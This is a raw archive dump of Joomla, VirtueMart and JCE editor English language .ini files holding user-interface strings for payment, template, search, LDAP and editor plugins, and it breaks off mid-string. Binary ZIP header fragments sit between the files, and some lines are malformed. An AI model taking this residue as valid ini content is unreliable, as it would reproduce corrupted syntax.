VMPAYMENT_HEIDELPAY_STATUS_SUCCESS_DESC="Order status of payment process was successful" VMPAYMENT_HEIDELPAY_STATUS_FAILED_DESC="Order status of payment process was fail" VMPAYMENT_HEIDELPAY_PAYMENT_FAILED="Your payment process could not be finished, because of the following reason:" VMPAYMENT_HEIDELPAY_PAYMENT_SUCESS="Your payment process was successful." VMPAYMENT_HEIDELPAY_PAYMENT_RESULT="Payment status" VMPAYMENT_HEIDELPAY_COMMENT="Comment" VMPAYMENT_HEIDELPAY_PAYMENT_TESTMODE="Info: The payment system is in test mode!" VMPAYMENT_HEIDELPAY_EMAIL_SENT="Confirmation email has been sent." VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_ALWAYS="always" VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_SUCCESS="just on success" VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_NEVER="never" VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL="Automatic e-mail to customer:" VMPAYMENT_HEIDELPAY_CONFIRM_EMAIL_DESC="Automatic e-mail sending on order process end." VMPAYMENT_HEIDELPAY_TECHNICAL_ERROR="The following technical error occurred: " VMPAYMENT_HEIDELPAY_CONTACT_SHOPOWNER="Please contact the shop owner." VMPAYMENT_HEIDELPAY_SECRET="Secret:" VMPAYMENT_HEIDELPAY_SECRET_DESC="Security feature to verify that the response is for the Heidelpay payment server. Only change if your shop is offline." VMPAYMENT_HEIDELPAY_STYLE_DESC="Please make a copy of the heidelpay_default.css and enter the name of the file here." VMPAYMENT_HEIDELPAY_SEPA_FORM="direct debit formdata" VMPAYMENT_HEIDELPAY_SEPA_FORM_DESC="You can chose here if the user can use IBAN and BIC or accound and bank no. for direct debit transactions" VMPAYMENT_HEIDELPAY_SEPA1="Account and bank no."" VMPAYMENT_HEIDELPAY_SEPA2="IBAN and BIC " VMPAYMENT_HEIDELPAY_SEPA3="Both separated with an 'or'" VMPAYMENT_HEIDELPAY_SEPA4="Both with an selector" MPAYMENT_HEIDELPAY_ALREADY_ACCOUNT="close Heidelpay contactform" PK@y>\FG&language/en-GB/en-GB.tpl_bluestork.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 TPL_BLUESTORK_FIELD_CONTRAST_DESC="Increase the contrast for better readability" TPL_BLUESTORK_FIELD_CONTRAST_LABEL="High Contrast" TPL_BLUESTORK_FIELD_SITENAME_DESC="Show the site name instead of generic 'Administration' in the template header." TPL_BLUESTORK_FIELD_SITENAME_LABEL="Show Site Name" TPL_BLUESTORK_FIELD_TEXTBIG_DESC="Increase the size of text for better readability" TPL_BLUESTORK_FIELD_TEXTBIG_LABEL="Bigger Text" TPL_BLUESTORK_HEADER="Administration" TPL_BLUESTORK_XML_DESCRIPTION="

      BlueStork is a template for the Joomla administrator.

      "PK@y>\~)language/en-GB/en-GB.plg_content_vote.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Content - Vote" PLG_VOTE_BEST="Best" PLG_VOTE_POOR="Poor" PLG_VOTE_RATE="Rate" PLG_VOTE_USER_RATING="User Rating: %1$s / %2$s" PLG_VOTE_VOTE="Vote %s" PLG_VOTE_XML_DESCRIPTION="Add the Voting functionality to Articles" PK@y>\p;language/en-GB/en-GB.plg_vmpayment_moneybookers_acc.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers Credit Cards"PK@y>\@A $language/en-GB/en-GB.mod_popular.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR="Popular Articles" MOD_POPULAR_CREATED="Created" MOD_POPULAR_FIELD_AUTHORS_DESC="A filter for the Authors" MOD_POPULAR_FIELD_AUTHORS_LABEL="Authors" MOD_POPULAR_FIELD_CATEGORY_DESC="Select Articles from a specific Category or set of Categories." MOD_POPULAR_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_POPULAR_FIELD_COUNT_LABEL="Count" MOD_POPULAR_FIELD_VALUE_ADDED_OR_MODIFIED_BY_ME="Added or modified by me" MOD_POPULAR_FIELD_VALUE_ANYONE="Anyone" MOD_POPULAR_FIELD_VALUE_NOT_ADDED_OR_MODIFIED_BY_ME="Not added or modified by me" MOD_POPULAR_ITEMS="Popular Items" MOD_POPULAR_NO_MATCHING_RESULTS="No Matching Results" MOD_POPULAR_TITLE="Popular Articles" MOD_POPULAR_TITLE_1="Top Popular Article" MOD_POPULAR_TITLE_MORE="Top %1$s Popular Articles" MOD_POPULAR_TITLE_BY_ME="Top Popular Articles By Me" MOD_POPULAR_TITLE_BY_ME_1="Top Popular Article By Me" MOD_POPULAR_TITLE_BY_ME_MORE="Top %1$s Popular Articles By Me" MOD_POPULAR_TITLE_NOT_ME="Top Popular Articles Not By Me" MOD_POPULAR_TITLE_NOT_ME_1="Top Popular Article Not By Me" MOD_POPULAR_TITLE_NOT_ME_MORE="Top %1$s Popular Articles Not By Me" MOD_POPULAR_TITLE_CATEGORY="Top Popular Articles (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_1="Top Popular Article (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_MORE="Top %1$s Popular Articles (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME="Top Popular Articles By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_1="Top Popular Article By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_MORE="Top %1$s Popular Articles By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME="Top Popular Articles Not By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_1="Top Popular Article Not By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_MORE="Top %1$s Popular Articles Not By Me (%2$s category)" MOD_POPULAR_UNEXISTING="Unexisting" MOD_POPULAR_XML_DESCRIPTION="This Module shows a list of the most popular published Articles that are still current. Some that are shown may have expired even though they are the most recent." PK@y>\zȱD/language/en-GB/en-GB.plg_content_loadmodule.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Content - Load Modules" PLG_LOADMODULE_FIELD_STYLE_DESC="Code that will wrap Modules" PLG_LOADMODULE_FIELD_STYLE_LABEL="Style" PLG_LOADMODULE_FIELD_VALUE_DIVS="Wrapped by Divs" PLG_LOADMODULE_FIELD_VALUE_HORIZONTAL="Wrapped by table (horizontal)" PLG_LOADMODULE_FIELD_VALUE_MULTIPLEDIVS="Wrapped by Multiple Divs" PLG_LOADMODULE_FIELD_VALUE_RAW="No wrapping (raw output)" PLG_LOADMODULE_FIELD_VALUE_TABLE="Wrapped by table (column)" PLG_LOADMODULE_XML_DESCRIPTION="Within content loads Module positions, Syntax: {loadposition user1} or Modules by name, Syntax: {loadmodule mod_login}. Optionally can specify module style and for loadmodule a specific module title." PK@y>\Qw *language/en-GB/en-GB.mod_quickicon.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_QUICKICON="Quick Icons" MOD_QUICKICON_XML_DESCRIPTION="This module shows Quick Icons that are visible on the Control Panel (admin area home page)" MOD_QUICKICON_LAYOUT_DEFAULT="Default" PK@y>\ g$language/en-GB/en-GB.com_wrapper.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Wrapper" COM_WRAPPER_FIELD_ADD_DESC="By default, http:// will be added unless it detects http:// or https:// in the URL you provide. This allows you to switch off this functionality." COM_WRAPPER_FIELD_ADD_LABEL="Auto add" COM_WRAPPER_FIELD_FRAME_DESC="Show frame border which wrap the iframe" COM_WRAPPER_FIELD_FRAME_LABEL="Frame border" COM_WRAPPER_FIELD_HEIGHT_DESC="Height of the IFrame window in pixels" COM_WRAPPER_FIELD_HEIGHT_LABEL="Height" COM_WRAPPER_FIELD_HEIGHTAUTO_DESC="If height is set to auto, the height will automatically be set to the size of the external page. This will only work for pages on your own domain. If you see a JavaScript error, make sure this parameter is disabled. This will break XHTML compatibility for this page." COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL="Auto height" COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS="Scroll bars parameters" COM_WRAPPER_FIELD_SCROLLBARS_DESC="Show/Hide the horizontal & vertical scrollbars. If you choose 'Auto', make sure the Auto advanced parameter is set." COM_WRAPPER_FIELD_SCROLLBARS_LABEL="Scroll Bars" COM_WRAPPER_FIELD_URL_DESC="URL to site/file you wish to display within the iframe." COM_WRAPPER_FIELD_URL_LABEL="URL" COM_WRAPPER_FIELD_VALUE_AUTO="Auto" COM_WRAPPER_FIELD_WIDTH_DESC="Width of the iframe window. You may enter an absolute figure in pixels or a relative figure by adding a %." COM_WRAPPER_XML_DESCRIPTION="Displays an iframe to wrap an external page or site into Joomla!" PK@y>\ em+language/en-GB/en-GB.plg_search_content.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTENT="Search - Content" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC="Search Archived Articles?" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL="Archived Articles" PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC="Enables searching of all Articles" PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL="Articles" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Enables searching in Articles"PK@y>\[\ .language/en-GB/en-GB.plg_content_pagebreak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Content - Pagebreak" PLG_CONTENT_PAGEBREAK_ALL_PAGES=" All Pages" PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX="Article Index" PLG_CONTENT_PAGEBREAK_NO_TITLE="No title" PLG_CONTENT_PAGEBREAK_PAGES="Pages" PLG_CONTENT_PAGEBREAK_PAGE_NUM="Page %s" PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC="Displays the full article." PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL="Show All" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT="Custom Article Index Heading" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC="Enter a custom text for the Article Index Heading. If empty, standard will be used." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC="Show/Hide Article Index Heading. The Heading displays on top of the Table of Content." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL="Article Index Heading" PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC="Title and heading attributes from Plug-in added to Site Title tag" PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL="Show Site Title" PLG_CONTENT_PAGEBREAK_SLIDERS="Sliders" PLG_CONTENT_PAGEBREAK_STYLE_DESC="Chose whether to layout the article with separate pages, tabs or sliders." PLG_CONTENT_PAGEBREAK_STYLE_LABEL="Presentation Style" PLG_CONTENT_PAGEBREAK_TABS="Tabs" PLG_CONTENT_PAGEBREAK_TOC_DESC="Display a table of contents on multipage Articles." PLG_CONTENT_PAGEBREAK_TOC_LABEL="Table of Contents" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Allow the creation of a paginated article with optional table of contents.

      Insert page breaks through the use of the page break button normally found in beneath the text panel in an Article. The location of the page break in an article will be displayed in the editor as a simple horizontal line.

      The text displayed will depend on the options chosen and may be either the title, alternate text (if provided) or page numbers.

      The HTML usage is:
      <hr class="_QQ_"system-pagebreak"_QQ_" />
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
      <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" title="_QQ_"The page title"_QQ_" />" PK@y>\? 0language/en-GB/en-GB.plg_authentication_ldap.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTHENTICATION_LDAP="Authentication - LDAP" PLG_LDAP_FIELD_AUTHMETHOD_DESC="The authorisation method to validate the credentials" PLG_LDAP_FIELD_AUTHMETHOD_LABEL="Authorisation Method" PLG_LDAP_FIELD_BASEDN_DESC="The base DN of your LDAP server, e.g o=mydomain.com" PLG_LDAP_FIELD_BASEDN_LABEL="Base DN" PLG_LDAP_FIELD_EMAIL_DESC="LDAP Attribute which contains the User's email address" PLG_LDAP_FIELD_EMAIL_LABEL="Map: email" PLG_LDAP_FIELD_FULLNAME_DESC="LDAP Attribute which contains the User's full name" PLG_LDAP_FIELD_FULLNAME_LABEL="Map: Full Name" PLG_LDAP_FIELD_HOST_DESC="For example: openldap.mycompany.org" PLG_LDAP_FIELD_HOST_LABEL="Host" PLG_LDAP_FIELD_NEGOCIATE_DESC="Negotiate TLS encryption with the LDAP server. This requires all traffic to and from my LDAP server to be encrypted." PLG_LDAP_FIELD_NEGOCIATE_LABEL="Negotiate TLS" PLG_LDAP_FIELD_PASSWORD_DESC="The Connect Password is the password of an administrative account. This is used in Authenticate then Bind and Authenticated Compare authorisation methods" PLG_LDAP_FIELD_PASSWORD_LABEL="Connect Password" PLG_LDAP_FIELD_PORT_DESC="Default port is 389" PLG_LDAP_FIELD_PORT_LABEL="Port" PLG_LDAP_FIELD_REFERRALS_DESC="This option sets the value of the LDAP_OPT_REFERRALS flag. You will need to set it to No for Windows 2003 servers." PLG_LDAP_FIELD_REFERRALS_LABEL="Follow Referrals" PLG_LDAP_FIELD_SEARCHSTRING_DESC="A query string used for search for a given User. The [search] keyword is dynamically replaced by the User-provided login. An example string is: uid=[search]. Several strings can be used separated by semi-colons. Only used when searching." PLG_LDAP_FIELD_SEARCHSTRING_LABEL="Search String" PLG_LDAP_FIELD_UID_DESC="LDAP Attribute which contains the User's Login ID. For Active Directory this is sAMAccountName" PLG_LDAP_FIELD_UID_LABEL="Map: User ID" PLG_LDAP_FIELD_USERNAME_DESC="The Connect Username and Connect Password define connection parameters for the DN lookup phase. Two options are available:- Anonymous DN lookup. Leave both fields blank.- Administrative connection: Connect Username is the username of an administrative account, for example Administrator. Connect password is the actual password of your administrative account." PLG_LDAP_FIELD_USERNAME_LABEL="Connect Username" PLG_LDAP_FIELD_USERSDN_DESC="The [username] keyword is dynamically replaced by the User-provided login. An example string is: uid=[username], dc=my-domain, dc=com. Several strings can be used, separated by semi-colons. Only used for direct binds." PLG_LDAP_FIELD_USERSDN_LABEL="User's DN" PLG_LDAP_FIELD_V3_DESC="Default is LDAP2, but latest versions of OpenLdap require clients to use LDAPV3" PLG_LDAP_FIELD_V3_LABEL="LDAP V3" PLG_LDAP_FIELD_VALUE_BINDSEARCH="Bind and Search" PLG_LDAP_FIELD_VALUE_BINDUSER="Bind Directly as User" PLG_LDAP_XML_DESCRIPTION="Handles User Authentication against an LDAP server
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PK@y>\u!ouou language/en-GB/en-GB.com_jce.ininuW+A; JCE Project ; Copyright (C) 2006 - 2011 Ryan Demmer. All rights reserved ; GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html ; Note : All ini files need to be saved as UTF-8 ERROR_403 ="ERROR 403:Access Forbidden" ;++ Added in 2.0.16 ++ JERROR_ALERTNOAUTHOR ="You are not authorized to view this resource" ;# Description WF_ADMIN_TITLE ="JCE Administration Component" WF_ADMIN_DESC ="

      Administration, installation and configuration component for the JCE Editor.

      Changelog - for a full changelog see http://www.joomlacontenteditor.net/support/releases/changelog/component

      " WF_ADMIN_VERSION ="Version" WF_EDITOR_TITLE ="JCE Editor" ;#################### Sub-menu & View names ############################## WF_ADMINISTRATION ="JCE Administration" WF_CPANEL ="Control Panel" WF_CONFIGURATION ="Editor Global Configuration" WF_CONFIG ="Editor Global Configuration" WF_PROFILES ="Editor Profiles" WF_EXTENSIONS ="Plugin Extensions" WF_PLUGINS ="Plugins" WF_INSTALL ="Install Add-ons" WF_INSTALLER ="Install Add-ons" WF_BACKUP ="Backup" WF_MEDIABOX ="JCE MediaBox Parameters" WF_HELP ="Help" ;#################### Tables Install / Restore Errors #################### WF_INSTALL_PROFILES_NOFILE_ERROR ="Profile XML file not found" WF_INSTALL_PROFILES_ERROR ="Profiles import failed" WF_INSTALL_PLUGINS_NOFILE_ERROR ="Plugins XML file not found" WF_INSTALL_PLUGINS_ERROR ="Plugins import failed" ;#################### CPanel ############################################# WF_CPANEL_TITLE ="Control Panel" WF_CPANEL_LICENCE ="Licence" WF_CPANEL_LICENCE_DESC ="The Licence JCE is released under" WF_CPANEL_VERSION ="Version" WF_CPANEL_VERSION_DESC ="The Editor version currently installed" WF_CPANEL_TABLES ="Tables" WF_CPANEL_TABLES_DESC ="State of the JCE Database Tables.
      Clicking [Remove / Repair] will remove the tables and should only be done when uninstalling JCE or attempting to repair the tables." WF_CPANEL_OK ="Ok" WF_CPANEL_REMOVE ="Remove / Repair" WF_CPANEL_UPDATE ="Updates" WF_CPANEL_UPDATE_CHECK ="Check for Updates" WF_CPANEL_REMOVE_WARNING ="This action will remove the JCE database tables and should only be done when
      1. uninstalling JCE completely
      2. when attempting to repair the JCE database tables

      Continue?" WF_CPANEL_FEED ="News Feed" WF_CPANEL_FEED_DESC ="Show JCE Latest News Feed" WF_CPANEL_FEED_NONE ="No News Feed Available" WF_CPANEL_FEED_LIMIT ="News Feed Limit" WF_CPANEL_FEED_LIMIT_DESC ="Number of News Feed items to show " WF_CPANEL_FEED_DISABLED ="News Feed Disabled" WF_CPANEL_FEED_ENABLE ="Enable News Feed" WF_CPANEL_FEED_LOAD ="Loading Feed..." WF_CPANEL_HELP ="JCE Control Panel Help" WF_CPANEL_HELP_ABOUT ="About the JCE Control Panel" WF_CPANEL_HELP_PREFERENCES ="Options" WF_CPANEL_HELP_UPDATES ="Updates" WF_CPANEL_BROWSER_DESC ="File Browser::Manage files and folders" ;++ Added in 2.0.16 ++ WF_CPANEL_SUPPORT ="Support" WF_CPANEL_SUPPORT_DESC ="Documentation, FAQ, Tutorials and Forum" ;#################### Updates ########################################### WF_UPDATES ="Updates" WF_UPDATES_UPDATE ="Update" WF_UPDATES_CHECK ="Check for Updates" WF_UPDATES_CHECKING ="Checking for Updates..." WF_UPDATES_DOWNLOAD ="Download Selected Updates" WF_UPDATES_INSTALL ="Install Selected Updates" WF_UPDATES_INSTALLED ="Installed" WF_UPDATES_NAME ="Name" WF_UPDATES_VERSION ="Version" WF_UPDATES_AVAILABLE ="Updates Available" WF_UPDATES_NONE ="No Updates Available" WF_UPDATES_TYPE ="Type" WF_UPDATES_FULL ="Full Install" WF_UPDATES_PATCH ="Patch Update" WF_UPDATES_PRIORITY ="Priority" WF_UPDATES_HIGH ="High" WF_UPDATES_MEDIUM ="Medium" WF_UPDATES_LOW ="Low" WF_UPDATES_AUTH_FAIL ="This add-on requires a valid subscription to update. Please renew or purchase a subscription. If you have a valid subscription enter the Transaction ID in the Update Options tab in the Options dialog. " WF_UPDATES_INSTALL_ERROR ="Unable to install update." WF_UPDATES_INFO ="Update Information" WF_UPDATES_INSTALL_INFO ="Install Information" WF_UPDATES_KEY ="Update Key" WF_UPDATES_KEY_DESC ="Subscription / Transaction ID required for subscription plugin updates. Available from your Subscription History page at http://www.joomlacontenteditor.net." WF_UPDATES_TYPES ="Update Types" WF_UPDATES_TYPES_DESC ="Update types to list" WF_UPDATES_OPTION_ALL ="Show All" WF_UPDATES_OPTION_FULL ="Full Version Updates Only" WF_UPDATES_OPTION_PATCHES ="Patch Updates Only" WF_UPDATES_DOWNLOAD_ERROR ="Update Error : Error downloading file" WF_UPDATES_DOWNLOAD_ERROR_DATA_TRANSFER ="Update Error : Data transfer failed" WF_UPDATES_DOWNLOAD_ERROR_MISSING_DATA ="Update Error : Missing data" WF_UPDATES_INSTALL_ERROR ="Update Error : Install failed" WF_UPDATES_DOWNLOAD_ERROR_NO_CONNECT ="Update Error : Connection to update server failed" WF_UPDATES_ERROR_FILE_VERIFICATION_FAIL ="Update Error : File failed verification" WF_UPDATES_ERROR_FILE_MISSING_OR_INVALID ="Update Error : File missing or invalid" WF_UPDATES_ERROR_FILE_EXTRACT_FAIL ="Update Error : File extraction failed" WF_UPDATES_NOSUPPORT ="Updates Not Available" ;#################### Preferences ##################################### WF_PREFERENCES_UPDATES ="Update Options" WF_PREFERENCES_STANDARD ="General Options" WF_PREFERENCES_HELP ="Help Options" WF_PREFERENCES_SAVED ="Options Saved" WF_HELP_URL ="Help URL" WF_HELP_URL_DESC ="URL to Help site (no trailing slash)" WF_PREFERENCES ="Options" WF_PREFERENCES_TITLE ="Administration Options" WF_PREFERENCES_SAVED ="Options Saved" WF_ADMIN_THEME ="Theme" WF_ADMIN_THEME_DESC ="Theme for JCE Administration interface using JQuery UI. Additional themes are available from http://jqueryui.com/themeroller/" ;++ Added in 2.0.8++ WF_PREFERENCES_PERMISSIONS ="Permissions" ;#################### Global Configuration ############################ WF_CONFIG_TITLE ="JCE Editor Global Configuration" WF_CONFIG_DESC ="Edit the JCE Editor Global Configuration" WF_CONFIG_SETUP ="Setup" WF_CONFIG_CLEANUP ="Cleanup & Output" WF_CONFIG_FORMAT ="Formatting & Display" WF_CONFIG_ADVANCED ="Advanced" WF_CONFIG_OTHER ="Miscellaneous" WF_CONFIG_HELP ="JCE Global Configuration Help" WF_CONFIG_HELP_ABOUT ="JCE Global Configuration" WF_CONFIG_HELP_SETUP ="Setup" WF_CONFIG_HELP_CLEANUP ="Cleanup & Output" WF_CONFIG_HELP_FORMAT ="Formatting and Display" WF_CONFIG_HELP_ADVANCED ="Advanced Options" WF_CONFIG_HELP_COMPRESSION ="Compression Options" WF_CONFIG_COMPRESSION ="Compression Options" WF_CONFIG_SAVED ="Configuration Saved" ;#################### Profiles ####################################### WF_PROFILES_TITLE ="JCE Editor Profiles" WF_PROFILES_DESC ="Create / Edit profiles for the editor" WF_PROFILES_LIST ="List" WF_PROFILES_NAME ="Name" WF_PROFILES_NAME_DESC ="Name of the Profile" WF_PROFILES_STATE ="State" WF_PROFILES_DESCRIPTION ="Description" WF_PROFILES_DESCRIPTION_DESC ="Short description of the Profile" WF_PROFILES_ORDERING ="Ordering" WF_PROFILES_ORDERING_DESC ="Ordering of the Profile" WF_PROFILES_ORDER_UP ="Move Up" WF_PROFILES_ORDER_DOWN ="Move Down" WF_PROFILES_EDIT ="Edit Profile" WF_PROFILES_NEW ="New Profile" WF_PROFILES_SETUP ="Setup" WF_PROFILES_SETUP_DESC ="Set name, description, ordering and restriction settings for the profile" WF_PROFILES_FEATURES ="Features" WF_PROFILES_FEATURES_DESC ="Set available buttons and commands for the profile" WF_PROFILES_FEATURES_ADDITIONAL ="Additional Features" WF_PROFILES_FEATURES_LAYOUT ="Editor Layout" WF_PROFILES_ASSIGNMENT ="Assignment" WF_PROFILES_DETAILS ="Details" WF_PROFILES_ASSIGNMENT_DESC ="Assign the Profile to specific components and/or assign the profile to usertypes and/or users. At least one option (component, user or usertype) must assigned." WF_PROFILES_COMPONENTS ="Components" WF_PROFILES_COMPONENTS_DESC ="Assign the Profile to the selected components. This profile will only be available when using one of the selected components. Check 'All Components' for normal operation." WF_PROFILES_COMPONENTS_ALL ="All Components" WF_PROFILES_COMPONENTS_SELECT ="Select from list" WF_PROFILES_AREA ="Area" WF_PROFILES_AREA_SELECT ="Select Area" WF_PROFILES_AREA_BOTH ="Front-end & Back-end" WF_PROFILES_AREA_FRONTEND ="Front-end" WF_PROFILES_AREA_BACKEND ="Back-end" WF_PROFILES_AREA_DESC ="Assign the profile to this Joomla! Area" WF_PROFILES_ADD_ALL ="Add All" WF_PROFILES_REMOVE_ALL ="Remove All" WF_PROFILES_REMOVE_USERS ="Remove Users" WF_PROFILES_EXPORT ="Export" WF_PROFILES_IMPORT ="Import Profile" WF_PROFILES_IMPORT_IMPORT ="Import" WF_PROFILES_IMPORT_BROWSE_ERROR ="Incorrect file type : File must be an XML file" WF_PROFILES_IMPORT_NOFILE ="Import failed : No file to import from" WF_PROFILES_SAVED_CHANGES ="Changes saved to profile '%s'" WF_PROFILES_SAVED ="Profile '%s' saved" WF_PROFILES_EXTRAS ="Extras" WF_PROFILES_OTHER_PLUGINS ="Additional Plugins" WF_PROFILES_OTHER_PLUGINS_DESC ="Plugins that do not appear in the editor layout and do not have an icon or dialog." WF_PROFILES_GROUPS ="User Group" WF_PROFILES_GROUPS_DESC ="Assign the Profile to the selected User Groups" WF_PROFILES_USERS ="Users" WF_PROFILES_USERS_DESC ="Assign the Profile to the selected Users" WF_PROFILES_USERS_ADD ="Add Users" WF_PROFILES_LAYOUT ="Layout / Buttons" WF_PROFILES_FEATURES_LAYOUT_AVAILABLE ="Available Buttons" WF_PROFILES_FEATURES_LAYOUT_AVAILABLE_DESC ="
      Available buttons not yet assigned to the Editor Layout
      • These buttons will not appear in the editor layout when editing.
      • Buttons or rows can be dragged into the Current Editor Layout to make them available.
      " WF_PROFILES_FEATURES_LAYOUT_EDITOR ="Current Editor Layout" WF_PROFILES_FEATURES_LAYOUT_EDITOR_DESC ="
      Buttons assigned to the Editor Layout
      • Drag & Drop buttons or rows to re-order.
      • Buttons or rows can be removed from the layout by dragging them into the Available Buttons layout.
      " WF_PROFILES_LEGEND ="Button Legend" WF_PROFILES_EDITOR_SETUP ="Setup" WF_PROFILES_EDITOR_EDITOR ="Setup" WF_PROFILES_EDITOR_TABS ="Tabs" WF_PROFILES_EDITOR_OPTIONS ="Options" WF_PROFILES_EDITOR_FILESYSTEM ="Filesystem" WF_PROFILES_EDITOR_PLUGINS ="Plugin Options" WF_PROFILES_EDITOR_PARAMETERS ="Editor Parameters" WF_PROFILES_EDITOR_PARAMETERS_DESC ="Set editor parameters for the profile" WF_PROFILES_EDITOR_CODE ="Features" WF_PROFILES_PLUGIN_PARAMETERS ="Plugin Parameters" WF_PROFILES_PLUGIN_PARAMETERS_DESC ="Set available parameters for each plugin" WF_PROFILES_PLUGINS_STANDARD ="Standard Parameters" WF_PROFILES_PLUGINS_STANDARD_DESC ="Standard Parameters for the plugin" WF_PROFILES_PLUGINS_DEFAULTS ="Default Values" WF_PROFILES_PLUGINS_DEFAULTS_DESC ="Set default values for plugin options" WF_PROFILES_PLUGINS_ACCESS ="Permissions" WF_PROFILES_PLUGINS_ACCESS_DESC ="Enable or disable plugin features" WF_PROFILES_PLUGINS_ADVANCED ="Advanced Parameters" WF_PROFILES_PLUGINS_ADVANCED_DESC ="Set advanced plugin parameters" WF_PROFILES_NO_PLUGINS ="No Plugins in Editor Layout" WF_PROFILES_UPLOAD_FAILED ="Profile file upload failed" WF_PROFILES_UPLOAD_NOFILE ="Profile upload file not found" WF_PROFILES_SELECT_ERROR ="No Profile selected" WF_PROFILES_IMPORT_ERROR ="Profile import failed" WF_PROFILES_IMPORT_SUCCESS ="%s Profile(s) imported successfully" WF_PROFILES_DELETED ="%s Profile(s) deleted successfully" WF_PROFILES_COPIED ="%s Profile(s) copied successfully" WF_PROFILES_COPY_OF ="Copy of %s" WF_PROFILES_COPY ="Copy" WF_PROFILES_HELP ="JCE Profiles Help" WF_PROFILES_HELP_ABOUT ="About Profiles" WF_PROFILES_HELP_MANAGE ="Managing Profiles" WF_PROFILES_HELP_MANAGE_COPY ="Copying Profiles" WF_PROFILES_HELP_MANAGE_DELETE ="Deleting Profiles" WF_PROFILES_HELP_MANAGE_EXPORT ="Exporting Profiles" WF_PROFILES_HELP_MANAGE_IMPORT ="Importing Profiles" WF_PROFILES_HELP_MANAGE_ORDERING ="Ordering Profiles" WF_PROFILES_HELP_MANAGE_ENABLE ="Enable and Disable Profiles" WF_PROFILES_HELP_EDIT ="Creating and Editing Profiles" WF_PROFILES_HELP_EDIT_SETUP ="Setup" WF_PROFILES_HELP_EDIT_FEATURES ="Features" WF_PROFILES_HELP_EDIT_EDITOR ="Editor Parameters" WF_PROFILES_HELP_EDIT_PLUGINS ="Plugin Parameters" WF_PROFILES_HELP_EDIT_WIDGETS ="Parameter Widgets" WF_PROFILES_SAMPLE_DEFAULT ="Default Profile for all users with edit access" WF_PROFILES_SAMPLE_FRONT ="Sample 